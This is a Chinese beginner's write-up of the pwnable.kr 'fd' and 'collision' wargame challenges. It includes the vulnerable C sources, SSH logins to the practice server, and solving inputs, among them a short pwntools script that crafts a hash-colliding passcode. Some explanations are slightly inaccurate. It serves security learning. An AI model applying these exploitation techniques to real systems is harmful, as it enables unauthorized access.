pwnable----fd和collsion
本人是萌新无意间看到这个pwnable.kr的网站,来学习学习,嘿嘿。这里是链接
这里的一个小tip。由于我用的是Ubuntu18.04版本在用ssh连接时报错,记录一下解决方法。
vim /etc/host
再将pwnable.kr的IP地址加在后面就行了
fd
- ssh链接网址
ssh fd@pwnable.kr -p2222
输入默认密码:guest
-
先ls,发现有flag直接白给,发现不行,只有老老实实的做
-
看源代码lfd.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
char buf[32];
int main(int argc, char* argv[], char* envp[]){
if(argc<2){
printf("pass argv[1] a number\n");
return 0;
}
int fd = atoi( argv[1] ) - 0x1234;
int len = 0;
len = read(fd, buf, 32);
if(!strcmp("LETMEWIN\n", buf)){
printf("good job :)\n");
system("/bin/cat flag");
exit(0);
}
printf("learn about Linux file IO\n");
return 0;
发现在运行时要输入一个数,如果这个数小于2,直接GG,当这个数是0x1234(10进制就是4660)就可以继续下去;再者你还要读取fd里的内容,如果buf===LETMEWIN就可以cat flag.
- 方法
./fd 4660
LETMEWIN
collsion
- ssh连接,登录
ssh col@pwnable.kr -p2222
- ls先,在看看有哪些
还是先看代码。主要看main。
#include <stdio.h>
#include <string.h>
unsigned long hashcode = 0x21DD09EC;
unsigned long check_password(const char* p){
int* ip = (int*)p;
int i;
int res=0;
for(i=0; i<5; i++){
res += ip[i];
}
return res;
}
int main(int argc, char* argv[]){
if(argc<2){
printf("usage : %s [passcode]\n", argv[0]);
return 0;
}
if(strlen(argv[1]) != 20){
printf("passcode length should be 20 bytes\n");
return 0;
}
if(hashcode == check_password( argv[1] )){
system("/bin/cat flag");
return 0;
}
else
printf("wrong passcode.\n");
return 0;
}
-
分析
1 .首先传入参数,不然GG
2 .长度还要是20个字节
3 .如果check_password函数返回值===全局变量hashcode,那就能cat flag。否则GG。 -
解答
1 .构造hashcode,让它hashcode=A+B*4,(ip中5个int就是hashcode的值)
2 .开始exp
from pwn import *
argc=p32(0x19548164)+p32(0x2222222)*4
col=process(['./col',argc])
print col.recvline()
图片: